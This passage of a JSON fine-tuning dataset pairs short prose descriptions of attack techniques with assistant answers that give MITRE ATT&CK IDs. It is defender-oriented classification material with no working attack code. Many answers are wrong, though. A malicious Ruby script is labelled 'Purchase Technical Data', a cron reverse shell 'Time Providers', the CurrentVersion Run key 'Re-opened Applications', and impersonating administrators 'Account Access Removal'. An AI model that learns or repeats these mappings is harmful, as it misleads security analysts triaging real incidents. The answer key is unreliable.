        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads commands from a disguised file, strips out nonsense characters, and then executes the cleaned command."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to hide data exfiltration, the malware wraps the stolen files in a PGP envelope using the attacker’s public key before sending them out."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers manipulate device enrollment policies to grant themselves a persistent device token for the victim’s account."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware bundled a tampered XSL stylesheet that, when opened by a legitimate application, invoked JavaScript to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised business chat service to deliver a personalized message with a malicious attachment designed to drop a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT groups compromised a software vendor's signing key to produce legit-looking updates that contain backdoors."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers embed anti‑analysis checks that look for VMware tools processes and terminate if they are present."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Windows installer contains a Visual Basic script that modifies firewall rules to allow inbound traffic from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the built‑in Control Panel binary as a proxy to execute PowerShell scripts with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes \"systemctl status docker\" to confirm the Docker daemon is running and then enumerates containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a botnet of compromised DNS resolvers to manipulate domain resolution for traffic hijacking."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses SMB to copy a custom backdoor onto a remote Windows host and then runs it to gain execution on the new system."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the tar command to bundle collected logs into a .tar.gz file."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downgraded the cryptographic module to use RC4 with a 40‑bit key length."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a project file with a custom UsingTask that references a remote assembly, causing MSBuild to load and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit in the Linux kernel, the attacker gained root access to a critical database server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the firmware update process to accept unsigned drivers, weakening driver signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating and exploiting weaknesses in user accounts across different systems, attackers facilitate lateral movement without relying on exploits in software vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary places a malicious PowerShell script in a user-writable directory and configures a scheduled task to run the script via wscript.exe, using the task as a proxy to execute the payload with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uploads stolen data to an attacker-controlled server using unencrypted FTP sessions."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor obtains a user's smartphone and extracts the stored authentication token for a cloud service, then uses the token to impersonate the user."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed Group Policy changes to disable login rights for a set of domain users."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor distributes a malicious PNG via a phishing email; when the recipient opens the image in a vulnerable viewer, a hidden script executes PowerShell to download a ransomware payload."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses 'net stop' commands to halt critical system processes."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the 'CurrentVersion\\Run' registry path to re-execute its main component each time the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team drops a hidden shortcut in the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs folder that runs a backdoor on system start."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program scans for .txt, .docx, and .xlsx files and encrypts them using a symmetric cipher."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs cmd.exe with arguments that mimic a scheduled backup, masking the execution of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries secure a domain and configure TLS certificates to make the malicious site appear authentic."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a phishing attack to trick a user into installing malware that escalates their privileges on the system."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker bypasses multi-factor authentication by exploiting a valid account that was exempt from MFA enforcement."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs XPC Inter‑Process Communication to stealthily load a malicious bundle into a system daemon, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals collect location-tagged tweets that mention the victim's headquarters to infer network infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs traffic signaling by sending falsified ICMP redirect messages to alter the path of outbound packets."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a malicious Ruby script to perform privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs keyword searches on public code hosting services to uncover configuration files exposing cloud credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a new cron job on a Linux system that executes a reverse shell every minute."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware automatically initiates an SSH connection to a command server to receive instructions."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures a DNS over HTTPS service to act as a dead‑drop, embedding commands in HTTP request bodies that the backdoor reads."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers conceal data in the metadata of PDF documents to bypass security scans."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages a misconfiguration in the VPN client to force the use of MD5 for HMAC, reducing the integrity of encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the Win32 API OpenClipboard and GetClipboardData calls to capture clipboard data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts and exfiltrates harvested credentials from the user's browser password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses Windows Installer to install a service that runs a malicious DLL on boot."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Impersonate system administrator accounts to perform unauthorized actions"
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware communicates over HTTP/2 streams, embedding commands in the header fields to blend with legitimate web traffic."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised VPS is used to host a command-and-control server after the attacker replaces the legitimate DNS records with malicious ones."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests NTLM hashes from domain controllers and authenticates as a domain user."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group applies a custom encoding scheme to obfuscate stolen files prior to upload."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts encrypted shellcode, decrypts it, and uses reflective loading to run it inside a legitimate process."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a script that calls \"nmcli dev wifi list\" on Linux to gather a list of surrounding Wi‑Fi hotspots."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The virus modifies network traffic by inserting random bytes that do not affect the underlying protocol but confuse deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script abuses NtWriteVirtualMemory to modify the address space of a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a compromised service account to alter the configuration of Okta’s authentication flow, enabling them to auto‑approve MFA challenges for targeted users."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑infection script calls \"fsutil file createnew\" to create large dummy files that fill the disk, causing a denial‑of‑service and data loss."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies the SYSTEM and SAM registry hives and decrypts them offline to retrieve account hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employed the 'net view /domain' command to discover remote systems within the Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors manipulate the TLS index of a victim thread to point to their own code, achieving execution through thread-local storage injection."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker escalates privileges by granting write access to a service's binary, then drops a custom executable that runs under the service account."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor compromises a third‑party SaaS provider and uses its API to serve malicious payloads to victims."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion includes a rootkit that manipulates kernel structures to hide memory-resident payloads from antivirus scanners."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor obtains a legitimate RDP session token and uses it to connect to additional hosts without proper credentials."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a TLS tunnel to conceal command and control traffic and encrypts all communications over the network."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathered phone numbers of key personnel from the company’s online contact directories."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a misconfigured IAM role to run the Azure PowerShell \"Set-AzStorageAccount\" cmdlet, altering storage account permissions."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accessed the cloud provider’s dashboard and manually deleted the production instances to cause operational downtime."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows command 'net view' to enumerate computers on the network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a fake LinkedIn profile mimicking a senior manager to harvest confidential information from contacts."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a WordPress site and replaced the homepage with a political propaganda banner."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a launchd plist on macOS to schedule periodic uploads of data to a C2 host."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs automated scripts to pull WHOIS records for a list of target sites, gathering registrar and nameserver data."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Reflective DLL injection technique, the malicious code maps a DLL into memory and calls its entry point without using the file system."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a browser hijacker to redirect traffic and capture session identifiers."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a reverse IP lookup to find other domains hosted on the same server."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a scheduled task that launches a remote access script every hour, ensuring continuous connectivity to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary logs into a compromised workstation using a legitimate local user account that was previously created on the system."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
